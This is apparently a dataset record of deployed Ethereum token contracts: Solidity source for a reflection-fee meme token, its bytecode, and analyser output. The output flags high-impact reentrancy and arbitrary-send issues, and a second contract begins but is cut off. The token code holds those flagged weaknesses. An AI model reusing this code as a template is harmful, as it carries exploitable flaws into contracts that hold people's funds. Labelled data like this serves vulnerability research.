_tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f01565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a24565b61045e565b6040516101789190612ee6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d5565b61048c565b6040516101e09190612ee6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612947565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613118565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa1565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612947565b610782565b6040516102b191906130a3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e18565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612f01565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a24565b61098c565b60405161035b9190612ee6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a60565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b057600080fd5b506103b9610b74565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af3565b6110d3565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612999565b61121b565b60405161041891906130a3565b60405180910390f35b60606040518060400160405280601881526020017f466c6f6b69576f77207c20742e6d652f466c6f6b69576f770000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000678ac7230489e80000905090565b6000610499848484611475565b61055a846104a56112a2565b610555856040518060600160405280602881526020016137dc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612fe3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106666112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612fe3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107516112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c98565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466c6f6b69576f77000000000000000000000000000000000000000000000000815250905090565b60006109a06109996112a2565b8484611475565b6001905092915050565b6109b26112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612fe3565b60405180910390fd5b60005b8151811015610af6576001600a6000848481518110610a8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aee906133b9565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3b6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b6000610b6630610782565b9050610b7181611e27565b50565b610b7c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612fe3565b60405180910390fd5b600f60149054906101000a900460ff1615610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5090613063565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e800006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2e57600080fd5b505afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190612970565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc857600080fd5b505afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612970565b6040518363ffffffff1660e01b8152600401610e1d929190612e33565b602060405180830381600087803b158015610e3757600080fd5b505af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612970565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610782565b600080610f03610926565b426040518863ffffffff1660e01b8152600401610f2596959493929190612e85565b6060604051808303818588803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f779190612b1c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612e5c565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612aca565b5050565b6110db6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612fe3565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612fa3565b60405180910390fd5b6111d960646111cb83678ac7230489e8000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613043565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f63565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f23565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613003565b60405180910390fd5b6115a0610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613083565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131d9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610782565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f01565b60405180910390fd5b5060008385611c8b91906132ba565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f43565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612970565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130be565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613260565b9050828482612151919061322f565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc3565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f01565b60405180910390fd5b5060008385612294919061322f565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e48761250e565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124238161261d565b61242d84836126da565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a3565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000678ac7230489e8000090506124e3678ac7230489e8000060065461219c90919063ffffffff16565b82101561250157600654678ac7230489e8000093509350505061250a565b81819350935050505b9091565b600080600080600080600080600061252a8a600854600c612714565b925092509250600061253a612213565b9050600080600061254d8e8787876127aa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ce91906131d9565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90612f83565b60405180910390fd5b8091505092915050565b6000612627612213565b9050600061263e828461212190919063ffffffff16565b905061269281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ef8260065461257590919063ffffffff16565b60068190555061270a816007546125bf90919063ffffffff16565b6007819055505050565b6000806000806127406064612732888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276a606461275c888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279382612785858c61257590919063ffffffff16565b61257590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c3858961212190919063ffffffff16565b905060006127da868961212190919063ffffffff16565b905060006127f1878961212190919063ffffffff16565b9050600061281a8261280c858761257590919063ffffffff16565b61257590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284661284184613158565b613133565b9050808382526020820190508285602086028201111561286557600080fd5b60005b85811015612895578161287b888261289f565b845260208401935060208301925050600181019050612868565b5050509392505050565b6000813590506128ae81613796565b92915050565b6000815190506128c381613796565b92915050565b600082601f8301126128da57600080fd5b81356128ea848260208601612833565b91505092915050565b600081359050612902816137ad565b92915050565b600081519050612917816137ad565b92915050565b60008135905061292c816137c4565b92915050565b600081519050612941816137c4565b92915050565b60006020828403121561295957600080fd5b60006129678482850161289f565b91505092915050565b60006020828403121561298257600080fd5b6000612990848285016128b4565b91505092915050565b600080604083850312156129ac57600080fd5b60006129ba8582860161289f565b92505060206129cb8582860161289f565b9150509250929050565b6000806000606084860312156129ea57600080fd5b60006129f88682870161289f565b9350506020612a098682870161289f565b9250506040612a1a8682870161291d565b9150509250925092565b60008060408385031215612a3757600080fd5b6000612a458582860161289f565b9250506020612a568582860161291d565b9150509250929050565b600060208284031215612a7257600080fd5b600082013567ffffffffffffffff811115612a8c57600080fd5b612a98848285016128c9565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128f3565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea84828501612908565b91505092915050565b600060208284031215612b0557600080fd5b6000612b138482850161291d565b91505092915050565b600080600060608486031215612b3157600080fd5b6000612b3f86828701612932565b9350506020612b5086828701612932565b9250506040612b6186828701612932565b9150509250925092565b6000612b778383612b83565b60208301905092915050565b612b8c816132ee565b82525050565b612b9b816132ee565b82525050565b6000612bac82613194565b612bb681856131b7565b9350612bc183613184565b8060005b83811015612bf2578151612bd98882612b6b565b9750612be4836131aa565b925050600181019050612bc5565b5085935050505092915050565b612c0881613300565b82525050565b612c1781613343565b82525050565b6000612c288261319f565b612c3281856131c8565b9350612c42818560208601613355565b612c4b8161348f565b840191505092915050565b6000612c636023836131c8565b9150612c6e826134a0565b604082019050919050565b6000612c86602a836131c8565b9150612c91826134ef565b604082019050919050565b6000612ca96022836131c8565b9150612cb48261353e565b604082019050919050565b6000612ccc601b836131c8565b9150612cd78261358d565b602082019050919050565b6000612cef601d836131c8565b9150612cfa826135b6565b602082019050919050565b6000612d126021836131c8565b9150612d1d826135df565b604082019050919050565b6000612d356020836131c8565b9150612d408261362e565b602082019050919050565b6000612d586029836131c8565b9150612d6382613657565b604082019050919050565b6000612d7b6025836131c8565b9150612d86826136a6565b604082019050919050565b6000612d9e6024836131c8565b9150612da9826136f5565b604082019050919050565b6000612dc16017836131c8565b9150612dcc82613744565b602082019050919050565b6000612de46011836131c8565b9150612def8261376d565b602082019050919050565b612e038161332c565b82525050565b612e1281613336565b82525050565b6000602082019050612e2d6000830184612b92565b92915050565b6000604082019050612e486000830185612b92565b612e556020830184612b92565b9392505050565b6000604082019050612e716000830185612b92565b612e7e6020830184612dfa565b9392505050565b600060c082019050612e9a6000830189612b92565b612ea76020830188612dfa565b612eb46040830187612c0e565b612ec16060830186612c0e565b612ece6080830185612b92565b612edb60a0830184612dfa565b979650505050505050565b6000602082019050612efb6000830184612bff565b92915050565b60006020820190508181036000830152612f1b8184612c1d565b905092915050565b60006020820190508181036000830152612f3c81612c56565b9050919050565b60006020820190508181036000830152612f5c81612c79565b9050919050565b60006020820190508181036000830152612f7c81612c9c565b9050919050565b60006020820190508181036000830152612f9c81612cbf565b9050919050565b60006020820190508181036000830152612fbc81612ce2565b9050919050565b60006020820190508181036000830152612fdc81612d05565b9050919050565b60006020820190508181036000830152612ffc81612d28565b9050919050565b6000602082019050818103600083015261301c81612d4b565b9050919050565b6000602082019050818103600083015261303c81612d6e565b9050919050565b6000602082019050818103600083015261305c81612d91565b9050919050565b6000602082019050818103600083015261307c81612db4565b9050919050565b6000602082019050818103600083015261309c81612dd7565b9050919050565b60006020820190506130b86000830184612dfa565b92915050565b600060a0820190506130d36000830188612dfa565b6130e06020830187612c0e565b81810360408301526130f28186612ba1565b90506131016060830185612b92565b61310e6080830184612dfa565b9695505050505050565b600060208201905061312d6000830184612e09565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379f816132ee565b81146137aa57600080fd5b50565b6137b681613300565b81146137c157600080fd5b50565b6137cd8161332c565b81146137d857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bc1f68d208ca8e211a34e9c18e8bd47196a7bc892d078643fcd046c00133bf0564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,966
0x0e98db51010dd1ade14dd3fb164e218805fdba1b
pragma solidity ^0.4.18; // Deployed <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4b3c2227270b2e3f232d22252e3365282426">[email&#160;protected]</a> 31/12/17 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public constant returns (uint); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns 